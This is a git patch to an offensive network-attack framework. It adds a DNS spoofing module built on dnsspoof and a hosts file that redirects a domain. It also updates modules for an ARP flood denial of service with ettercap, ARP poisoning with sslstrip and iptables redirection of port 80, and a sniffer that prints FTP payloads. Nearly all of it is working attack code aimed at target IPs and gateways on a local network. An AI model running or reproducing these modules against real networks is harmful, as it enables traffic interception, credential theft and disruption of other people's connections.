From 72005fa4c529c593b2db32b98d86a2a369c5dac1 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 Jul 2016 01:00:52 -0400 Subject: [PATCH] Update --- LINETIME | 4 ++ core/Default.py | 5 ++- core/modules.xml | 9 +++- files/test/host | 2 + modules/net/arp_denegation_of_service.py | 10 ++--- modules/net/arp_poisoning_attack.py | 20 +++++---- modules/net/dns_spoofing.py | 55 ++++++++++++++++++++++++ modules/net/get_hosts_live.py | 1 - modules/net/sniff.py | 8 ++-- 9 files changed, 93 insertions(+), 21 deletions(-) create mode 100644 files/test/host create mode 100644 modules/net/dns_spoofing.py diff --git a/LINETIME b/LINETIME index c164465..785cbe0 100644 --- a/LINETIME +++ b/LINETIME @@ -1,3 +1,7 @@ +* 29/07/16 + Change Name-Code Module : at.arpsp -> net/arp.pson + Adedd New Module: dns.spoof, dns spoofing attack + * 28/07/16 Upgrading to Core:0.0.0.1 Build:0062 diff --git a/core/Default.py b/core/Default.py index a95dcec..c61cafb 100644 --- a/core/Default.py +++ b/core/Default.py @@ -6,7 +6,7 @@ # change value of variables for adapter to your system. # # -# Last Modified: 01/06/2016 +# Last Modified: 29/27/2016 # #########################################################HEAD# @@ -50,6 +50,7 @@ NMAP_PATH ="/usr/bin/nmap" """Commons""" LOCAL_IP ="127.0.0.1" +INTERFACE_ETHERNET ="eth0" INTERFACE_DEVICE ="wlan0" INTERFACE_MONITOR ="wlan0mon" MAC_TARGET ="AA:A1:BB:B2:CC:C1" @@ -67,4 +68,4 @@ SQL_PORT ="3306" SSH_PORT ="22" SMTP_PORT ="25" -# END DEFAULT VARIABLES \ No newline at end of file +# END DEFAULT VARIABLES diff --git a/core/modules.xml b/core/modules.xml index 4ba83db..9afe500 100644 --- a/core/modules.xml +++ b/core/modules.xml @@ -63,7 +63,7 @@ sniff Protocol Sniffer. - + 3.1 RedToor net @@ -77,6 +77,13 @@ arp_denegation_of_service ARP D.O.S Attack. + + 1.0 + RedToor + net + dns_spoofing + DNS Spoofing. + 1.0 Dimitrios Kanellopoulos | Adated by RedToor diff --git a/files/test/host b/files/test/host new file mode 100644 index 0000000..e7eb509 --- /dev/null +++ b/files/test/host @@ -0,0 +1,2 @@ + +192.168.1.67 rubias19.com diff --git a/modules/net/arp_denegation_of_service.py b/modules/net/arp_denegation_of_service.py index 94ff46c..1d257a9 100644 --- a/modules/net/arp_denegation_of_service.py +++ b/modules/net/arp_denegation_of_service.py @@ -25,10 +25,10 @@ def init(): # DEFAULT OPTIONS MODULE init.options = { - # NAME VALUE RQ DESCRIPTION - 'interface':["eth0" ,True ,'Interface'], - 'target' :["192.168.1.223",True ,'Target IP'], - 'gateway' :[get_gateway() ,True ,'Gateway IP'] + # NAME VALUE RQ DESCRIPTION + 'interface':[INTERFACE_ETHERNET,True ,'Interface'], + 'target' :["192.168.1.223" ,True ,'Target IP'], + 'gateway' :[get_gateway() ,True ,'Gateway IP'] } return init # END INFORMATION MODULE @@ -39,7 +39,7 @@ def main(run): if isConect() and checkDevice(init.var['interface']): printAlert(0,"Starting ARP D.O.S attack...") Subprocess("ettercap -Tq -P rand_flood /"+init.var['target']+"// /"+init.var['gateway']+"// -i "+init.var['interface']) - raw_input(printAlert(8,"for Stop ARP D.O.S Attack (PRESS [ENTER])\n")) + raw_input(printAlert(8,"to Stop ARP D.O.S Attack (PRESS [ENTER])\n")) commands.getoutput("killall ettercap") # END CODE MODULE ############################################################################################ diff --git a/modules/net/arp_poisoning_attack.py b/modules/net/arp_poisoning_attack.py index 39f2365..c68050f 100644 --- a/modules/net/arp_poisoning_attack.py +++ b/modules/net/arp_poisoning_attack.py @@ -7,7 +7,7 @@ # :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: # # LIBRARIES -from core.Function import get_gateway,isConect,Subprocess,checkDevice +from core.Function import get_gateway,isConect,Subprocess,checkDevice,get_interfaces import commands # END LIBRARIES @@ -16,7 +16,7 @@ def init(): init.Author ="RedToor" init.Version ="3.1" init.Description ="ARP Poisoning" - init.CodeName ="net/at.arpsp" + init.CodeName ="net/arp.pson" init.DateCreation ="26/08/2015" init.LastModification ="27/07/2016" init.References =None @@ -25,12 +25,16 @@ def init(): # DEFAULT OPTIONS MODULE init.options = { - # NAME VALUE RQ DESCRIPTION - 'interface':["eth0" ,True ,'Interface'], - 'target' :["192.168.1.223",True ,'Target IP'], - 'gateway' :[get_gateway() ,True ,'Gateway IP'], - 'https' :[True ,False,'HTTP/s Capture'] + # NAME VALUE RQ DESCRIPTION + 'interface':[INTERFACE_ETHERNET,True ,'Interface'], + 'target' :["192.168.1.223" ,True ,'Target IP'], + 'gateway' :[get_gateway() ,True ,'Gateway IP'], + 'https' :[True ,False,'HTTP/s Capture'] } + + init.aux = """ + Devices Founds: """+str(get_interfaces())+""" + """ return init # END INFORMATION MODULE @@ -46,7 +50,7 @@ def main(run): commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward") commands.getoutput("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000") Subprocess("sslstrip") - raw_input(printAlert(8,"Stop Attack ARP (PRESS ANY KEY)\n")) + raw_input(printAlert(8,"to Stop Attack ARP (PRESS ANY KEY)\n")) commands.getoutput("killall ettercap") commands.getoutput("killall sslstrip") commands.getoutput("iptables --flush -t nat") diff --git a/modules/net/dns_spoofing.py b/modules/net/dns_spoofing.py new file mode 100644 index 0000000..0701d72 --- /dev/null +++ b/modules/net/dns_spoofing.py @@ -0,0 +1,55 @@ +# This module requires katana framework +# https://github.com/PowerScript/KatanaFramework + +# :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core import # +from core.KATANAFRAMEWORK import * # +# :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# LIBRARIES +from core.Function import get_gateway,isConect,Subprocess,checkDevice,get_interfaces +import commands +# END LIBRARIES + +# INFORMATION MODULE +def init(): + init.Author ="RedToor" + init.Version ="1.0" + init.Description ="DNS Spoofing" + init.CodeName ="net/dns.spoof" + init.DateCreation ="29/07/2016" + init.LastModification ="29/07/2016" + init.References =None + init.License =KTF_LINCENSE + init.var ={} + + # DEFAULT OPTIONS MODULE + init.options = { + # NAME VALUE RQ DESCRIPTION + 'interface':[INTERFACE_ETHERNET,True ,'Interface'], + 'hostfile' :["files/test/host" ,True ,'DNS\'s Spoofed File'] + } + + init.aux = """ + Devices Founds: """+str(get_interfaces())+""" + Functions : to edit the DNS rules. 'x::nano """+init.options['hostfile'][0]+"""' + """ + return init +# END INFORMATION MODULE + +# CODE MODULE ############################################################################################ +def main(run): + if isConect() and checkDevice(init.var['interface']): + Loadingfile(init.var['hostfile']) + open(init.var['hostfile'],'r') + printAlert(0,"Starting DNS spoofing [dnsspoof].") + commands.getoutput("iptables --flush -t nat") + commands.getoutput("sudo fuser -kuv 53/udp >/dev/null 2>&1 ") + commands.getoutput("echo 1 > /proc/sys/net/ipv4/ip_forward") + Subprocess("dnsspoof -i "+init.var['interface']+" -f "+init.var['hostfile']) + raw_input(printAlert(8,"to Stop DNS Spoof Attack (PRESS ANY KEY)\n")) + commands.getoutput("killall dnsspoof") + commands.getoutput("echo 0 > /proc/sys/net/ipv4/ip_forward") + commands.getoutput("iptables --flush -t nat") + +# END CODE MODULE ############################################################################################ diff --git a/modules/net/get_hosts_live.py b/modules/net/get_hosts_live.py index 0723092..c329005 100644 --- a/modules/net/get_hosts_live.py +++ b/modules/net/get_hosts_live.py @@ -36,7 +36,6 @@ def init(): # CODE MODULE ############################################################################################ def main(run): - KTFVAR=[] commands.getoutput(NMAP_PATH+' -sn '+str(init.var['range'])+' -oX tmp/KTFVAR.xml > null') GateWay=get_gateway() tree = ET.parse('tmp/KTFVAR.xml') diff --git a/modules/net/sniff.py b/modules/net/sniff.py index 05667b5..fc19372 100644 --- a/modules/net/sniff.py +++ b/modules/net/sniff.py @@ -25,9 +25,9 @@ def init(): # DEFAULT OPTIONS MODULE init.options = { - # NAME VALUE RQ DESCRIPTION - 'drive' :[INTERFACE_MONITOR,True ,'Monitor Interface'], - 'filter':["ALL" ,False,'Filter sniff'] + # NAME VALUE RQ DESCRIPTION + 'interface' :[INTERFACE_ETHERNET,True ,'Monitor Interface'], + 'filter' :["ALL" ,False,'Filter sniff'] } init.aux = """ @@ -67,4 +67,4 @@ def callback(pkt): if pkt.dport == 21:return " "+str(pkt[IP].id)+"\t"+colors[12]+" FTP "+colors[0]+" "+str(pkt[IP].src)+"->\t\t"+str(pkt[IP].dst)+"\t"+pkt[Raw].load.replace("\n", ".")+colors[0] if pkt.dport == 110:return " "+str(pkt[IP].id)+"\t"+colors[11]+" POP "+colors[0]+" "+str(pkt[IP].src)+"->\t\t"+colors[0] if init.var['filter'] == "ALL":return " "+colors[9]+str(pkt[IP].id)+"\t"+" Other "+" "+str(pkt[IP].src)+"->\t\t"+colors[0] - except:n=None \ No newline at end of file + except:n=None